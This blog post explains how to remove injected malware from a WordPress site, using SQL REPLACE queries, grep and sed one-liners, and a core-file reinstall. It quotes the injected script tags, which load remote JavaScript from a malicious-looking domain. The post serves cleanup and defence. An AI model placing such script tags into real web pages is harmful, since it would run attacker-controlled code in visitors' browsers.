Other Options To Remove WordPress Malware

If this helps you out, please consider helping us out.

I found some other options to clean malware out of a WordPress infected site. I still prefer the way I originally did it because I can see and verify the results before committing and undo it immediately if it didn’t go the way I anticipated. These other methods require restoring the database or files if you mess it up.

Stack Exchange had the most complete information on removing this from both the database and from the content of your files.

INFECTION EXAMPLE:

<script src='https://subdomain.xxxxxxx.tld/stat.js?n=ns1' type='text/javascript'></script> 

Remove Malware From A Database

To be run from phpMyAdmin under the ‘SQL’ tab
(Edit them to fit your needs.)

UPDATE tn_posts SET post_content = REPLACE (post_content, "<script src='https://temp. lowerbeforwarden. ml /temp. js?n=nb5' type='text/javascript'></script>", '');

This one tests the content first.
Hat Tip: https://www.safalshrestha.com.np/wordpress-hacked/

UPDATE tn_posts SET post_content = REPLACE(post_content, "<script src='https://temp. lowerbeforwarden. ml/temp. js?n=ns5' type='text/javascript'></script>", '') WHERE post_content LIKE '%lowerbeforwarden%';

Removing Malware From Files

Using grep at the command line to remove WordPress malware

Check for the existence of the malware
(Edit the name to fit your situation)

grep -rlF "lowerbeforwarden"

Clean files via command line grep tool. Test for the existence of the string “lowerbeforwarden” and removes it if it exists.

grep -rlF "lowerbeforwarden" | xargs sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.lowerbeforwarden.ml\/src.js?n=nb5'><\/script>//g"

Replace WordPress Core Files

The best way to replace WordPress Core files is with the Admin Dashboard. Go to ‘Dashboard’, select ‘Update’, and click on “Re-install Now”.

When you aren’t in a position to login directly to the WordPress admin dashboard the procedure described here works.

Overwrite the WordPress core files excluding the wp-content folder.
Follow these basic steps:

1. Download latest WordPress version from here – WordPress Releases
2. FTP or SFTP upload your WordPress zip file to the root folder of your website
3. Unzip it (use your FTP client or command line via SSH) and delete the wp-content folder from within the folder named wordpress. Command line example: unzip file_name.zip
4. Select and move all the remaining folders and files to the root folder. If asked to overwrite then it’ll be a yes or OK.
5. And there you have it. Your WordPress core files are clear of any viruses or malware.

Delete Your Cache Files

Using a plugin is the preferred method, but you can also delete the cache files within the cache folder at wp-content/cache. (at your own risk)

• About the Author
• Latest Posts

Cory L Curtis

Professional geek and early implementer of virtualization in 1998.
Small business owner and was once the network admin for Knight Transportation. Racquetball fanatic, but had to retire from it.

Business, Technical, and Administrative Professional of Web Design, SEO, SSO, UX/UI, Networked Systems, and Virtualization with more than 20 years of experience.

• Do You Have a WordPress Page Called "Customized Meta Tags?"
• Microsoft Email Migrate Retiring Azure AD Graph APIs to Microsoft Graph
• How to Export WordPress Compatible SVG Images From Adobe Illustrator